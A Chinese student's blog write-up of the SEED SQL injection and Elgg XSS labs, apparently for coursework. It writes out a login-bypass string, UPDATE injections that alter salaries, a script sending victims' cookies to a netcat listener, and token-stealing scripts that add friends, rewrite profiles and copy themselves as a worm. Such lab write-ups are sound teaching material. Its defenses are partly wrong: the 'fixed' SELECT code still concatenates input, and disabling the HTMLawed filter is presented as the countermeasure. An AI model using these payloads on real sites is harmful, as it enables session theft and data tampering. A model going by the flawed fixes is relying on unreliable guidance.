第十次作业 Web应用程序安全攻防

实验要求

SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

  1. 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
  2. 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
  3. 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
  4. SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

  1. 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
  2. 弹窗显示cookie信息:将cookie信息显示。
  3. 窃取受害者的cookies:将cookie发送给攻击者。
  4. 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
  5. 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
  6. 编写XSS蠕虫。
  7. 对抗XSS攻击。

实验过程

SEED SQL注入攻击与防御实验

熟悉SQL语句

启动apache服务

service apache2 start

查看user表

use Users;
show tables;

查看员工信息

select * from credential;

对SELECT语句的SQL注入攻击

关闭PHP提供了自动对抗SQL注入的机制,并重启apache

vim /etc/php5/apache2/php.ini
将“magic_quotes_gpc = on”修改为“magic_quotes_gpc = off”
service apache2 restart

访问www.sqllabmysqlphpbb.com登录界面,用户名键入“admin'#”,密码为空

可以看到我们已经成功绕过登录

对UPDATE语句的SQL注入攻击

登录Alice的账号

在NickName那里输入语句

', salary='500000' where EID='10000';#

可以看到Alice的工资已经被修改

先登录Boby账号查看工资

Alice修改的界面的nickname输入语句

', salary='1' where name='Boby';#

可以看到Boby的工资已经被成功修改

SQL对抗:修复上述SQL注入攻击漏洞

将unsafe_home.php中sql处理代码修改如下。我们使用了预处理代码,然后进行了参数的绑定,绑定了用户名和hash之后的密码。又进行了结果的绑定,这个时候参数值就可以包含转义字符和定界符了。

SELECT语句代码和数据放在一起,所以容易遭受攻击。下面我们进行代码的修改。

      $sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= '$input_uname' and Password='$hashed_pwd'";
      if (!$result = $conn->query($sql)) {
        echo "</div>";
        echo "</nav>";
        echo "<div class='container text-center'>";
        die('There was an error running the query [' . $conn->error . ']\n');
        echo "</div>";
      }
      /* convert the select return result into array type */
      $return_arr = array();
      while($row = $result->fetch_assoc()){
        array_push($return_arr,$row);
      }

      /* convert the array type to json format and read out*/
      $json_str = json_encode($return_arr);
      $json_a = json_decode($json_str,true);
      $id = $json_a[0]['id'];
      $name = $json_a[0]['name'];
      $eid = $json_a[0]['eid'];
      $salary = $json_a[0]['salary'];
      $birth = $json_a[0]['birth'];
      $ssn = $json_a[0]['ssn'];
      $phoneNumber = $json_a[0]['phoneNumber'];
      $address = $json_a[0]['address'];
      $email = $json_a[0]['email'];
      $pwd = $json_a[0]['Password'];
      $nickname = $json_a[0]['nickname'];

当我们再次使用“Alice'#”的方式去绕过登录时,发现无法进入并且报错。

将unsafe_edit_backend.php中的代码修改为下

if($input_pwd!=''){
    // In case password field is not empty.
    $hashed_pwd = sha1($input_pwd);
    //Update the password stored in the session.
    $_SESSION['pwd']=$hashed_pwd;
    $sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;");
    $sql->bind_param("sssss",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber);
    $sql->execute();
    $sql->close();
  }else{
    // if passowrd field is empty.
    $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
    $sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber);
    $sql->execute();
    $sql->close();
  }

当我们继续使用', salary='100' where name='Boby';#去修改Boby的工资时,发现整个字符串都被打印在了NickName中,修改工资却没有成功。

SEED XSS跨站脚本攻击实验(Elgg)

发布恶意消息,显示警报窗口

访问www.xsslabelgg.com,使用Alice的用户名alice和密码seedalice登录

点击edit profie,在Brief description中写入代码

<script>alert('XSS');</script>

使用Boby的账号访问Alice的主页,看到xss弹窗,攻击成功

弹窗显示cookie信息

将填入的代码改为

<script> alert(document.cookie);</script>

使用Boby的账号访问Alice的主页可以看到弹窗

窃取受害者的cookies

使用JavaScript将cookies发送到攻击者机器的5555端口

<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>

在终端中开启监听

nc -l 5555 -v

使用boby的账户登录并且查看Alice的账户profile就能够得到boby的cookie信息

成为受害者的朋友

在Alice的about me中添加Javascript代码(这里要使用edit HTML模式)

<script type="text/javascript">
	window.onload = function () {
    var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token; 
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
	
	
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
} 
</script>

用boby访问alice的主页,boby就会自动加alice为好友。

修改受害者的信息

同样在about me中构造的js程序

<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
  
  var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  

  var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	  
	var samyGuid=44;    
	if(elgg.session.user.guid!=samyGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}

</script>

用boby访问Alice的profile,即可成功修改boby的profile

编写XSS蠕虫

<script id="worm" type ="text/javascript">
	var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
  var jsCode = document.getElementById("worm").innerHTML;
  var tailTag = "</" + "script>";
	var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
	alert(jsCode);
</script>

通过boby访问Alice的profile发现这段代码已经被成功的复制

对抗XSS攻击

我们利用管理员账户进行登录,找到Account->administration->plugins,并且找到插件HTMLawed关闭它。

查看Alice的profile,看看有没有效果了。可以看到,这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示出来了。

心得体会

学习到了web攻击以及攻击防范的基本原理

posted @ 2022-05-18 19:43  PwnKi  阅读(165)  评论(0编辑  收藏  举报